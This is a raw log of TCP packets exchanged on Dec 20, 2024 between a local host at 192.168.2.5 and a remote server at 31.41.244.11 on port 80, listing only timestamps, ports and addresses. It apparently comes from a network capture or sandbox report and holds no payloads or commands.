Dec 20, 2024 02:11:32.975326061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.975378990 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.975425959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.975476980 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.975997925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.976052999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.976103067 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.976161957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.976702929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.976753950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.976795912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.976849079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.977411985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.977467060 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.977507114 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.977559090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.978087902 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.978143930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.978188038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.978239059 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.978790998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.978847027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.978940964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.978998899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.979504108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.979571104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.979609013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.979659081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.980185986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.980237007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.980282068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.980331898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.980890036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.980947971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.980993032 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.981053114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.981563091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.981616020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.981678963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.981724977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.982270002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.982321978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.982364893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.982414007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.982988119 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.983041048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.983084917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.983134031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.983671904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.983728886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.983767033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.983814955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.984369040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.984421015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.984458923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.984508991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.985039949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.985093117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.985156059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.985207081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.985759974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.985810995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.985917091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.985966921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.986449957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.986501932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.986541986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.986592054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.987143993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.987196922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.987240076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.987288952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.987855911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.987911940 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.987957954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.988014936 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.988534927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.988585949 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.988655090 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.988703012 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.989243031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.989295006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.989301920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.989348888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.989976883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.990029097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.990102053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.990149021 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.990653038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.990705967 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.990784883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.990830898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.991343021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.991385937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.991400003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.991437912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.992033005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.992085934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.992415905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.992465973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.992732048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.992782116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.992820978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.992877007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.993429899 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.993484974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.993515015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.993566036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.994116068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.994167089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.994213104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.994263887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.994812965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.994863987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.994901896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.994954109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.995486975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.995538950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.151329041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.151417971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.151426077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.151475906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.151479006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.151536942 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.151654005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.151705027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.151709080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.151762009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.152345896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.152400017 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.152440071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.152489901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.153052092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.153109074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.153188944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.153239012 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.153749943 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.153805971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.153888941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.153939962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.154439926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.154474020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.154500008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.154515028 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.155139923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.155194998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.155250072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.155297995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.155915976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.155972958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.156018972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.156066895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.156538010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.156589031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.156645060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.156694889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.157233000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.157285929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.157310009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.157357931 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.157977104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.158032894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.158077002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.158127069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.158638000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.158689022 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.158744097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.158795118 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.159321070 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.159372091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.159427881 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.159476995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.160044909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.160099030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.160238028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.160286903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.160722017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.160772085 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.160821915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.160871983 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.161484003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.161536932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.161577940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.161628008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.162141085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.162194967 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.162276983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.162326097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.162831068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.162908077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.162909985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.162961960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.163513899 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.163567066 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.163606882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.163660049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.164233923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.164287090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.164310932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.164359093 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.164891005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.164951086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.165014982 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.165060043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.165618896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.165668964 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.165698051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.165745974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.166325092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.166392088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.166441917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.167011976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.167067051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.167126894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.167181969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.167716980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.167794943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.167869091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.167922974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.168390036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.168442965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.168512106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.168559074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.169070005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.169121027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.169161081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.169212103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.169766903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.169819117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.169883013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.170121908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.170495033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.170546055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.170624971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.170674086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.171204090 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.171257973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.171297073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.171343088 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.171880960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.171943903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.171989918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.172039032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.172581911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.172692060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.172727108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.172777891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.173279047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.173371077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.173391104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.173443079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.173995018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.174048901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.174073935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.174122095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.174658060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.174709082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.174748898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.174797058 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.175812960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.175868988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.175895929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.175924063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.176064968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.176116943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.176222086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.176271915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.176750898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.176872015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.176927090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.177489042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.177556038 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.177794933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.177856922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.178153038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.178236961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.178293943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.178859949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.178915977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.178950071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.179003000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.179558039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.179605961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.179610968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.179649115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.180241108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.180341005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.180392027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.180958986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.181013107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.181055069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.181104898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.181714058 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.181731939 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.181765079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.181781054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.182331085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.182415962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.182435989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.182485104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.183034897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.183096886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.183103085 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.183142900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.183743954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.183799028 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.183864117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.183917046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.184417009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.184468031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.184513092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.184561014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.185121059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.185174942 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.185237885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.185329914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.185852051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.185915947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.185931921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.185981035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.186533928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.186666965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.186724901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.187232971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.187297106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.188069105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.189377069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.344089985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.344160080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.344182014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.344247103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.344274998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.344291925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.344329119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.344341040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.344938040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.344995022 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.345046997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:33.345098972 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:33.345639944 CET	80	49875	31.41.244.11	192.168.2.5
